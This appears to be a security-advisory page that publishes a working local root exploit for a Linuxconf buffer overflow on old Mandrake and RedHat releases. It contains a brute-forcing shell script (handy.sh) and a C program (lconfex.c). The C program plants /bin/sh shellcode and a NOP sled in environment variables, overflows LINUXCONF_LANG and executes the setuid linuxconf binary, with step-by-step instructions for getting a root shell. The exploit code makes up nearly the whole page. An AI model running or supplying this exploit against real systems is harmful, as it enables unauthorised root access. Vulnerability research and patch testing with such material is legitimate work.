|
|
|
|
| |
| As we reported in our previous article: Linuxconf Locally Exploitable Buffer Overflow Vulnerability, a vulnerability in Linuxconf allows attackers to cause it to execute arbitrary code. The following is an exploit code that can be used to test your system for the mentioned vulnerability. |
| |
Credit:
The information has been provided by Mohd Fazlee Yahaya.
|
| |
Vulnerable systems:
* Mandrake 8.2 (default rpm)
* Mandrake 8.1 (default rpm)
* RedHat 7.3 (linuxconf-1.28r3)
* RedHat 7.2 (linuxconf-1.25-r7-3)
handy.sh
#!/bin/sh
padstart=800
if [ -z $1 -o -z $2 ]; then
echo "sh $0 <&shellcode> <&padstring>"
exit
fi
if [ ! -f lconfex ]; then
echo "lconfex not found!!"
exit
fi
echo "Please wait for a while =).."
if [ -d segfault.eng ]; then
rm -rf segfault.eng
fi
until [ padstart = 600 ]
do
`./lconfex -s $1 -m $2 -r $padstart 2>tmp.junk`
if [ `grep "segfault.eng/segfault.eng" tmp.junk | wc -l` != 0 ]; then
echo
echo "GOT IT! Your magic number is : $padstart"
echo "Now create a dir 'segfault.eng' and touch a file named 'segfault.eng' in it."
echo "Then exec \"./lconfex -s $1 -m $2 -r $padstart\" to get rootshell"
echo
echo "*hint* : try play with -b <n> if not succeed. [ n = 0..4 ]"
echo " ie : ./lconfex -s $1 -m $2 -r $padstart -b 1"
echo
echo "Good Luck d0inks!"
echo
rm -f tmp.junk
exit
fi
padstart=`expr $padstart - 1`
done
echo "Sorry, can't find padstart no."
echo "Try to play with -a <1..4> option"
rm -f tmp.junk
lconfex.c
/* ------ Proof of Concept linuxconf buffer overflow ]---
* ------------------ by syscalls <fazlee@myseq.com> ]---
*
* This is a P.o.C exploit for recent linuxconf <= 1.28r3
* buffer overflow.
*
* On some distro, the overflow is pretty straight forward.
* While on some version, the eip could only be reached by
* providing specially crafted buffer. Thus, allowing an
* attacker to execute arbitary code.
*
* Tested to work on:
* Mandrake 8.2 (default rpm)
* Mandrake 8.1 (default rpm)
* RedHat 7.3 (linuxconf-1.28r3)
* RedHat 7.2 (lnuxconf-1.25r7-3) not suid root by default
*
* $ gcc -o lconfex lconfex.c
* $ ./lconfex -p // put some stuff to env
* $ ./lconfex -f // find its's addr
* $ sh handy.sh 0xcafebabe 0xdeadbeef // find padstart
* $ mkdir segfault.eng;touch segfault.eng/segfault.eng // =)
* $ ./lconfex -s 0xcafebabe -m 0xdeadbeef -r padstart
* #
*
* This exploit should work fine on all versions or distro.
*
* greetz : argv, ayobcfg, nullbyte, ra1st, peyjal (thx for handy.sh)
* staff@myseq, #unixhacker@webnet, #!udc@dalnet
*
* FOR EDUCATIONAL PURPOSES ONLY!
*
* Comments or whatsoever: fazlee@myseq.com
* http://www.myseq.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#define DEFAULT_BUFFER_SIZE 1200
#define DEFAULT_EGG_SIZE 1200
#define NOP 0x90
#define FAKE 0x41
#define ALIGN -1
#define LINUXCONF "/bin/linuxconf"
char shellcode[] = /* Aleph1 shellcode */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void usage(char *name)
{
printf("------ Proof of Concept linuxconf buffer overflow ]---\n");
printf("------------------ by syscalls <fazlee@myseq.com> ]---\n\n");
printf("Step 1 : %s -p\n",name);
printf("Step 2 : %s -f\n",name);
printf("Step 3 : sh handy.sh <&shellcode> <&padstring>\n",name);
printf("Step 4 : mkdir segfault.eng; touch segfault.eng/segfault.eng\n");
printf("Step 5 : %s -s <&shellcode> -m <&padstring> -r <padstart>\n\n",name);
printf("step 5 options :\n");
printf("\t -a <0..4>\t/* padding alignment */\n");
printf("\t -b <0..4>\t/* retaddr alignment */\n\n");
exit(0);
}
void find_ret(char *name)
{
/* borrowed from GOBBLES-own-ipppd.c, credits goes to them ;ppPpP */
char *p;
char *noops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char *ourstr = "\x73\x65\x67\x66\x61\x75\x6c\x74"; /* =) */
int i;
p = (char *)get_sp();
while((i = strncmp(p, noops, strlen(noops))) != 0)
p++;
if (i == 0)
printf("[+] shellcode found @ : 0x%lx\n", p+1);
else {
printf("[!] trouble locating shellcode addr\n");
exit(0);
}
p = (char *)get_sp();
while((i = strncmp(p, ourstr, strlen(ourstr))) != 0)
p++;
if (i == 0)
printf("[+] padstring found @ : 0x%lx\n", p-(strlen(LINUXCONF)-strlen(name))); /* huh env */
else {
printf("[!] trouble locating padstring addr\n");
exit(0);
}
printf("[*] now exec \"sh handy.sh <&shellcode> <&padstring>\" to find padstart.\n", name);
exit(0);
}
void build_egg(char *name)
{
char *egg, *ptr, *fake, ourstr[9];
int i, eggsize = DEFAULT_EGG_SIZE;
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(fake = malloc(DEFAULT_BUFFER_SIZE))) {
printf("Can't allocate memory.\n");
exit(0);
}
memset(fake,0,DEFAULT_BUFFER_SIZE);
memset(fake,FAKE,DEFAULT_BUFFER_SIZE);
memcpy(fake,"LINUXCONF_LANG=",15);
fake[DEFAULT_BUFFER_SIZE-1] = '\0';
memset(egg,0,eggsize);
memset(egg,NOP,eggsize);
ptr = egg;
ptr += eggsize/2;
for (i = 0; i < strlen(shellcode); i++)
ptr[i] = shellcode[i];
egg[eggsize-1] = '\0';
strcpy(ourstr,"segfault");
ourstr[9]='\0';
setenv("EGG",egg,1);
setenv("HOSTNAME",ourstr,1);
putenv(fake);
printf("[+] exec \"%s -f\" to find &shellcode and &padstring\n",name);
system("/bin/sh");
exit(0);
}
int main(int argc, char *argv[]) {
char *buff, *tmp;
unsigned long retaddr, padaddr;
int bsize = DEFAULT_BUFFER_SIZE, retalign = ALIGN, padalign = ALIGN;
int i, c, padstart = 792; /* default for mdk 8.2 */
if (argc < 2) usage(argv[0]);
while((c = getopt(argc, argv, "pfs:m:a:r:b:")) != EOF) {
switch(c) {
case 'p':
build_egg(argv[0]);
break;
case 'f':
find_ret(argv[0]);
break;
case 's':
sscanf(optarg, "%p", &tmp);
retaddr = (long)tmp;
break;
case 'm':
sscanf(optarg, "%p", &tmp);
padaddr = (long)tmp;
break;
case 'a':
padalign = atoi(optarg);
break;
case 'b':
retalign = atoi(optarg);
break;
case 'r':
padstart = atoi(optarg);
break;
default:
usage(argv[0]);
}
}
printf("------ Proof of Concept linuxconf buffer overflow ]---\n");
printf("------------------ by syscalls <fazlee@myseq.com> ]---\n\n");
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("[+] &shellcode : 0x%x\n", retaddr);
printf("[+] &padstring : 0x%x\n",padaddr);
printf("[+] bsize : %d\n",bsize);
printf("[+] padstart : %d\n\n",padstart);
/* fill up buffer with retaddr */
for (i = 0 ;i < bsize; i+= 4) {
buff[i+retalign] = (retaddr&0x000000ff);
buff[i+retalign+1] = (retaddr&0x0000ff00)>>8;
buff[i+retalign+2] = (retaddr&0x00ff0000)>>16;
buff[i+retalign+3] = (retaddr&0xff000000)>>24;
}
/* padding to our env string */
for (i = padstart; i < bsize ; i+= 4) {
buff[i+padalign] = (padaddr&0x000000ff);
buff[i+padalign+1] = (padaddr&0x0000ff00)>>8;
buff[i+padalign+2] = (padaddr&0x00ff0000)>>16;
buff[i+padalign+3] = (padaddr&0xff000000)>>24;
}
memcpy(buff,"LINUXCONF_LANG=",15);
buff[bsize - 1] = '\0';
putenv(buff);
execl(LINUXCONF,"linuxconf",0);
return 0x0;
}
|
|
|
|
|